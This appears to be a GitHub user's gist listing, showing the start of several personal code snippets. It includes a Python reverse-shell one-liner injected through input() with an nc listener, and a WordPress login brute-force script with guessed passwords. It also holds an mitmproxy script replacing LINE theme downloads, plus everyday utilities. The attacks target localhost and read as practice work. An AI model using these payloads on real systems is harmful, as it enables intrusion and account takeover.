Skip to content

Instantly share code, notes, and snippets.

Avatar

GreenApple GreeeenApple

View GitHub Profile
View aaa.html
<html>
<body>
<div id="hoge">
<!-- ここにタグ文字がエスケープされた(>や<は&gtや&lt)任意の文字列が入れられる -->
</div>
<script>
function f(){
var txt = document.getElementById("hoge").innerHTML;
txt = txt.replace(/(http:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
txt = txt.replace(/(https:\/\/[\x21-\x7e]+)/gi, '<a href="http://redirect.com/$1" onmousedown="f=' + "'1'" + ';" target=\"_b\">$1</a>');
View anitubedl.py
import requests
import argparse
import os
parser = argparse.ArgumentParser(description="Anitube Downloader")
parser.add_argument("url", nargs="*",
help="anitube url(list). example:http://a http://b")
parser.add_argument("--path", type=str,
default="/home/{user}/Videos/".format(user=os.environ["USERNAME"]),
help="videos save path. default:/home/user/Videos/")
View gist:58482b4a34e55017050d38b98e67d8ed
## nc -l 8080
## >>> input()
__import__("os").system("""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
View hoge.py
def callback(i, d, z):
z += [i]
def hoge(callback, d=0):
for i in range(10):
callback(i, d=d)
if __name__ == "__main__":
p = []
hoge(lambda x, d, z=p: callback(x, d, z))
@GreeeenApple
GreeeenApple / lineproxy.py
Created Feb 16, 2016
already fixed(?) yo yo
View lineproxy.py
import os
from libmproxy import controller, proxy
from libmproxy.proxy.server import ProxyServer
import commands
def themerequest(flow):
target_host = "dl.shop.line.naver.jp"
target_path = "theme.zip"
replace_path = "/themeshop/v1/products/5b/8f/d2/5b8fd2d0-03ba-45d2-9c81-c5ad9b1abfe0/2/ANDROID/theme.zip"
View wp-login.py
import requests
Dest = "http://localhost:8080/{0}"
req = requests.get(Dest.format("wp-login.php"))
cookie_value = dict(req.cookies)
# create post id,pw
login_id = ["test", "wei", "a", "admin", "admin", "admin", "nimda"]
login_pw = ["test", "wei", "a", "admin", "wei", "password", "password"]
View .zshrc
#alias python="bpython"
#for i in `seq 5`do echo 1; done
alias ls='ls -CF'
alias s='ls'
alias l='ls -CF'
alias ...='cd ../../'
alias ....='cd ../../..'
alias la='ls -a'
View test2.py
def f(i):
if i == 0:
return 1
else:
return i * f(i - 1)
s = str(f(int(raw_input())))
i = len(s) - 1
while s[i] == "0":
View ああああああ
import lxml.html
res_html = lxml.html.parse("http://seccon2015.connpass.com/event/21425/").getroot()
target_path = "/html/body/div/div/div/div/div/h4/a"
print(res_html.xpath(target_path)[0].text)
View gist:c11c88b5473081a0dd46
# -*- coding: utf-8 -*-
import wave
INFILE = "beatefll.dll"
OUTFILE = "beatefll.wav"
f = open(INFILE, "rb")
wv = wave.open(OUTFILE, "wb")
data = f.read()